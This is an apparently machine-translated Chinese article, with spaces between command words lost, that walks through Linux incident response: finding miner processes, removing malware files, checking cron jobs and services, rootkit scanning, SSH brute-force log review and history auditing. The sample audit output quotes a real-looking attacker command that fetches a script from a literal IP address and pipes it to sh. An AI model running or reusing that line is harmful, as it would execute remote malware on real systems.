当前位置: 首页 > 科技观察

一篇文章说清楚了Linux的应急响应技巧

时间:2023-03-11 21:59:56 科技观察

概述在Linux环境下处理应急响应事件往往比较困难,因为相比Windows,Linux没有Autorun、procexp等应急响应工具,也没有统一的应急响应加工流程。因此,本文将讲解Linux环境下的应急处理流程,并提供各环节使用的shell命令,帮助您快速系统地应对Linux环境下的病毒。处理Linux应急响应主要分为这4个环节:现象识别->病毒清除->闭环自下而上->系统加固。首先从用户场景中主机的异常现象出发,首先识别病毒的可疑现象。然后找到具体的病毒进程和病毒文件,将其清除。完成前两个步骤是不够的。病毒通常会通过一些自启动项和守护进程再次感染,所以我们需要实现一个闭环来保证病毒不再产生。清除主机上的病毒项后,最后一步就是加强系统,防止病毒从Web再次入侵。完成这4个环节后,就可以算是一个应急响应流程的结束了。识别现象的第一步,需要我们通过系统运行状态和安全设备告警,发现主机的异常现象,确认病毒的可疑行为。系统CPU是否异常枚举进程,CPU从高到低排序:topCPU使用率超过70%且名字可疑的进程,很可能是挖矿病毒。有没有可疑的过程?枚举进程的命令行:ps-aux病毒一般带有可疑命令行。当你在命令行中发现url等奇怪的字符串时,就要引起注意了。它可能是一个病毒下载器。安全网关是否有告警从安全网关的告警中识别威胁是最直接的方法,但确认主机是否感染病毒只是第一步。下一步是定位,具体是哪个进程正在与C&C通信。监控与目标IP通信的过程:whiletrue;donetstat-antp|grep[ip];done有时安全网关检测的不是所有的恶意IP,而是一个域名。在这种情况下,域名对应的IP发生了变化。我们不能用上述方法直接监控。我们可以先在host文件中添加一条规则,将恶意域名重定向到一个随机的IP地址,然后对其进行监控。这样就可以获得与其通信的恶意进程。是否有可疑的history命令遍历主机history命令,查看是否有恶意命令:history清除了从病毒第一个链接追溯的进程信息,有助于我们定位病毒进程&病毒文件,实现去除。结束病毒进程清除可疑进程的进程链:ps-elf|grep[pid]kill-9[pid]删除病毒文件找到病毒进程对应的文件路径:ls-al/proc/[pid]/exerm-f[exe_path]闭环口袋底Linux下的病毒持久化方法比Windows少,主要有以下四种方法。检查可疑定时任务枚举定时任务:crontab-l查看anacron异步定时任务:cat/etc/anacrontab检查可疑服务枚举宿主机所有服务,查看是否有恶意服务:service--status-all检查系统文件是否被劫持枚举系统文件夹中的文件,按修改事件排序查看7天内被修改过的文件:找到/usr/bin//usr/sbin//bin//usr/local/bin/-typef-mtime+7|xargsls-la检查是否有病毒守护进程监控守护进程的行为:lsof-p[pid]strace-tt-T-etrace=all-p$pid扫描恶意驱动Enumerate/scan系统驱动:lsmod安装chkrootkit扫描:wgetftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gztarzxvfchkrootkit.tar.gzcdchkrootkit-0.52makesense./chkrootkit安装rkhunter扫描:Wgethttps:///nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.4/rkhunter-1.4.4.tar.gztar-zxvfrkhunter-1.4.4.tar.gzcdrkhunter-1.4.4./installer.sh--installrkhunter-c最后一个链接经常被大家遗忘。Linux平台上90%的病毒都是通过网络感染的。所以,你的主机感染病毒的原因,大部分都是因为网络安全防护不够。快点检查。修改SSH弱口令查询日志主机登录日志:grep"Accepted"/var/log/secure*|awk'{print$1,$2,$3,$9,$11}'爆破定位源IP:grep"Failedpassword"/var/log/secure|grep-E-o"(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq-c爆破日志的用户名和密码:grep"Failedpassword"/var/log/secure|perl-e'while($_=<>){/for(.*?)from/;print"$1n";}'|uniq-c|sort-nrSSH爆破是最常见的Linux病毒传播手段。如果存在弱口令主机,很容易被其他感染主机通过SSH成功??爆破,从而再次感染病毒。添加命令审计为历史命令添加登录IP地址、命令执行时间等信息:[1]保存10000条命令:sed-i's/^HISTSIZE=1000/HISTSIZE=10000/g'/etc/profile[2]添加如下内容/etc/profile文件末尾行配置信息:USER_IP=`who-uami2>/dev/null|awk'{print$NF}'|sed-e's/[()]//g'`if["$USER_IP"=""]thenUSER_IP=`hostname`fiexportHISTTIMEFORMAT="%F%T$USER_IP`whoami`"shopt-shistappendexportPROMPT_COMMAND="history-a"[3]让配置生效:source/etc/profilegenerationeffect:762019-10-2817:05:34113.110.229.230wget-q-T180-O-http://103.219.112.66:8000/i.sh)|sh应用web常见漏洞补丁structs2系列RCE漏洞thinkphp5.XRCE漏洞Redis未授权访问漏洞ConfluenceRCE漏洞(CVE_2019_3396)DrupalRCE漏洞(CVE-2018-7600)ThinkPHPRCE漏洞(CVE-2019-9082)结束Linux平台下的恶意软件威胁主要是僵尸网络蠕虫和挖矿病毒。服务器暴露在公网上,web应用漏洞层出不穷,很容易被大规模入侵,比如常见的病毒:DDG、systemdMiner、BillGates、watchdogs、XorDDos,在很多网站上都有Linux。大家应该养成不使用弱口令、频繁打补丁的好习惯。